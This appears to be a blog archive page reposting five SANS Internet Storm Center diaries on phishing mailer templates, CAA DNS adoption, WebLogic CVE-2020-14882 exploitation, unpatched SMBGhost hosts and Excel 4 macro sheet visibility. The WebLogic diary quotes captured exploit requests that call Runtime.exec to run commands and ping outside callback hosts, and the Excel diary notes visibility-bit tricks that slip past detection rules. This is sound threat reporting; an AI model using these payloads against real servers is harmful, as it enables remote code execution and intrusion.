Blog

Archive for SANS

More File Selection Gaffes, (Sat, Oct 31st)

A reader submitted a file, that turned out to be a mass mailer project file used by malicious actors.

This malicious actor was not the only one mistakingly sending out their mass mailer project file: I found many other files.

What follows is an overview of various fake email templates defined in these mass mailer project files. Some of them are very basic, while others look exactly like legitimate emails.

I highlighted mailing variables ([[-Email-]], [[-Domain-]]) used in these templates.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Quick Status of the CAA DNS Record Adoption, (Fri, Oct 30th)

In 2017, we already published a guest diary[1] about “CAA” or “Certification Authority Authorization”. I was curious about the status of this technique and the adoption level in 2020. Has it been adopted massively since this diary? The initial RFC describing CAA has been issued in 2013 (RFC6844[2]). Since 2019, it is obsolete and has been replaced by RFC8659[3]. Just a quick reminder about the purpose of this DNS record. It is used to specify which certificate authority(ies) (CAs) is(are) allowed to issue certificates for a domain. When the first diary was posted, not all DNS query tools supported CAA records by default. It was often required to query for a ‘type257’  record, then decode the output. Today, all tools support it pretty well:

$ dig rootshell.be caa

; <> DiG 9.10.6 <> rootshell.be caa
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50111
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 13, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;rootshell.be.            IN    CAA

;; ANSWER SECTION:
rootshell.be.        60    IN    CAA    0 issue "letsencrypt.org"

;; AUTHORITY SECTION:
.            3499    IN    NS    k.root-servers.net.
.            3499    IN    NS    h.root-servers.net.
.            3499    IN    NS    c.root-servers.net.
.            3499    IN    NS    f.root-servers.net.
.            3499    IN    NS    b.root-servers.net.
.            3499    IN    NS    g.root-servers.net.
.            3499    IN    NS    j.root-servers.net.
.            3499    IN    NS    l.root-servers.net.
.            3499    IN    NS    d.root-servers.net.
.            3499    IN    NS    a.root-servers.net.
.            3499    IN    NS    i.root-servers.net.
.            3499    IN    NS    e.root-servers.net.
.            3499    IN    NS    m.root-servers.net.

;; Query time: 48 msec
;; SERVER: 192.168.254.130#53(192.168.254.130)
;; WHEN: Thu Oct 29 16:56:51 CET 2020
;; MSG SIZE  rcvd: 286

 

This output means, based on the value of CAA record, that only letsencrypt.org is authorized to generate certificates for the domain rootshell.be (and its subdomains). As the RFC says: “CAA Resource Records allow a public CA to implement additional controls to reduce the risk of unintended certificate mis-issue“. Great!

If it’s so easy to implement, we can presume that most of the registered domains on the Internet have a CAA record, right? To verify this, I downloaded a copy of the good old Alexa top-1 million domains list. The list is not free anymore but it’s possible to find old versions. For all those domains, I tried to resolve potential CAA records then I generated some statistics. I wrote a quick script to automate this task. At the end of the execution, it resolved 744060 domains. Let’s have a look at the numbers.

It’s quite surprising that, still today, only 3% of the domains listed in the Alexa list implemented a CAA record.

They are 3 CAA ‘properties’ available:

  • “issue” : Grant authorization to issue certificates related to the domain.
  • “issuewild” : Grant authorization to issue wild certificates related to the domain.
  • “iodef” : Specifies a means of reporting certificate issue requests or cases of certificate issue.

Here are the number of each property found:

The property issue may contain one of more certificate authorities (separated with a ‘;’) but it’s also possible to give a single ‘;’ character. Is this case, it means that NO certificate authority is allowed to generate a certiicate for the domain. I found 358(!) of such domains. (lun.com is one of these domains).

Now, let’s have a look at the CA landscape. What are the most used?

Note: To reduce the graph size, the listed CA are those that were used at least 5 times.

No surprise, we see Digicert and Let’s Encrypt at the top. This CA has been adopted by many organisations or private people to generate free certificates. It is very popular also for attackers because it helps them to improve the quality of their phishing sites (just an example).

But, is Let’s Encrypt also popular amongst the top domain owners? Let’s have a look. Again, from the Alexa list, the first domain that returned a CAA record mentioning letsencrypt.org was at position 187 (deepl.com). It accepts two CA’s:

;; ANSWER SECTION:
deepl.com.              300     IN      CAA     0 issue "letsencrypt.org"
deepl.com.              300     IN      CAA     0 issue "sectigo.com"

Let’s draw the same graph has above but only for the 187 first domains who have at least one CAA record.

You can see those most popular websites do not use Let’s Encrypt and prefer to rely on “popular” CA’s or, like the monster Google, rely on your own.

If you did not implemented yet a CAA record, have a look at it. It’s easy and  most DNS providers support them out of the box. You should be able to create them in your classic DNS management interface.

[1] https://isc.sans.edu/forums/diary/CAA+Records+and+Certificate+Issuance/22342
[2] https://tools.ietf.org/html/rfc6844
[3] https://tools.ietf.org/html/rfc8659

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

PATCH NOW: CVE-2020-14882 Weblogic Actively Exploited Against Honeypots, (Thu, Oct 29th)

WebLogic LogoJust about a week ago, as part of a massive quarterly “Criticial Patch Update” (aka “CPU”), Oracle patched CVE-2020-14882 in WebLogic. Oracle at the time assigned it a CVSS score of 9.8. We are now seeing active exploitation of the vulnerability against our honeypot after PoC exploits had been published.

Vulnerable WebLogic Versions:

10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0

The exploitation of the vulnerability is trivial. For example, we are seeing these exploits being currently used:

[the honeypot’s IP has been replaced with AAA.BBB.CCC.DDD. Spaces added to allow for line breaks ]

GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle= com.tangosol.coherence.mvel2.sh.ShellSession( %22java.lang.Runtime.getRuntime().exec(%27cmd /c

GET /console/images/%252e%252e%252fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession( "java.lang.Runtime.getRuntime().exec( 'nslookup%20AAA.BBB.CCC.DDD.0efp3gmy20ijk3tx20mqollbd2jtfh4.burpcollaborator.net')

GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession( %22java.lang.Runtime.getRuntime().exec( %27ping%20AAA.BBB.CCC.DDD.uajiak.dnslog.cn%27);%22);

GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String("test")

These exploit attempts are right now just verifying if the system is vulnerable. Our honeypots (up to now) do not return the “correct” response, and we have not seen follow-up requests yet.

Currently, exploit attempts originate from these 4 IP addresses:

%%ip:114.243.211.182%%
    First IP seen. Around noon UTC Oct 18th.
    attempting to ping [some id].dnslog.cn
    Address assigned to China Unicom

%%ip:139.162.33.228%%
    attempting to ping [victim ip].uajiak.dnslog.cn
    Address assigned to Linode (USA)

%%ip:185.225.19.240%% 
    At this point, most prolific scanner. attempting to execute "cmd /c" ?

        The address is assigned to MivoCloud (Moldovia)

%%ip:84.17.37.239%%
    pinging [some ID].burpcollaborator.net
    Address assigned to Datacamp Ltd (HongKong)

I am in the process of notifying the ISPs.

 

 

 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

SMBGhost ? the critical vulnerability many seem to have forgotten to patch, (Wed, Oct 28th)

You probably remember that back in March, Microsoft released a patch for a vulnerability in SMBv3 dubbed SMBGhost (CVE-2020-0796), since at that time, it received as much media attention as was reasonable for a critical (CVSS 10.0) vulnerability in Windows, which might lead to remote code execution[1].

Luckily, achieving RCE through SMBGhost turned out to be anything but simple so although the first public exploits appeared fairly quickly, they used the vulnerability “only” for local privilege escalation[2]. It wasn’t until June that a PoC for achieving RCE was published[3]. Since release of this PoC was again met with wide attention from the media, one might reasonably expect that by now, most of the vulnerable machines would have been patched – especially those accessible from the internet.

Going by data I’ve gathered from Shodan over the last eight months, this doesn’t appear to be true, however.

Besides scanning for open ports and running services, Shodan is also capable of identifying machines/IPs which are impacted by specific vulnerabilities – you may try this yourself if you have one of the higher-level account by using the search filter vuln (e.g. “vuln:cve-2020-0796”). I’m unsure what method Shodan uses to determine whether a certain machine is vulnerable to SMBGhost, but if its detection mechanism is accurate, it would appear that there are still over 103 000 affected machines accessible from the internet. This would mean that a vulnerable machine hides behind approximately 8% of all IPs, which have port 445 open.

The following chart shows countries with most detections – I’ve included those with at least 2 000 IPs detected as vulnerable by Shodan.

It is hard to say why are so many unpatched machines are still out there. Microsoft did release the patch for CVE-2020-0796 out-of-band instead as a part of its usual patch Tuesday pack of fixes[4], but that was the only unusual thing about it and doesn’t make much sense that this would be the reason why it still isn’t applied on so many systems… In any case, if the numbers provided by Shodan are accurate, they are concerning to say the least, especially since SMBGhost – as an RCE – is “wormable”. If for whatever reason you still haven’t patched any of your systems, now would seem to be a good time to do so.

Hopefully, we won’t see any worms or other attempts at mass exploitation of CVE-2020-0796 any time soon, but who knows – it would perhaps be timely given the name of the vulnerability and the upcoming Halloween…

[1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
[2] https://github.com/danigargu/CVE-2020-0796
[3] https://github.com/chompie1337/SMBGhost_RCE_PoC
[4] https://www.zdnet.com/article/microsoft-patches-smbv3-wormable-bug-that-leaked-earlier-this-week/

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Excel 4 Macros: "Abnormal Sheet Visibility", (Mon, Oct 26th)

Excel 4 macros are composed of formulas (commands) and values stored inside a sheet.

Each sheet in a spreadsheet can be “visible”, “hidden” or “very hidden”. Malware authors will often make Excel 4 macro sheets hidden or very hidden.

In .xls files, spreadsheet data is stored in the Workbook stream as BIFF records. There is a BIFF record for sheets: the BOUNDSHEET record. The byte value at position 5 in a BOUNDSHEET record defines the visibility of a sheet: visible (0x00), hidden (0x01) or very hidden (0x02):

Encoding the visibility of a sheet is done with the 2 least significant bits. Per Microsoft’s documentation, the 6 more significant bits are unused bits and must be ignored. In spreadsheets created with Excel, these bits are set to 0.

From time to time, I find malicious Excel 4 macro documents, where these bits are not zero:

oledump’s plugin_biff will report this: “reserved bits not zero”.

The “visibility” value is 0x0A, that’s 0x08 + 0x02: thus the sheet is very hidden (0x02).

Excel has no problem at all opening a spreadsheet like this (the unused bits must be ignored). But if you use or develop detection rules like YARA, Suricata, … ; be aware that these unused bits can be set to 1 in stead of 0.

You might wonder: 2 bits to encode visibility. Visible (0x00), hidden (0x01) or very hidden (0x02).

What about 0x03?

When a sheet’s visibility is set to 0x03 (I do this by patching the .xls with a binary editor), my tests with Excel 2016 and 2019 show that an Excel 4 macro sheet will behave as “very hidden”, and the macro code will be executed.

However, before a user is prompted to enable macros, that user will have to click through extra warnings:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 368 12345...»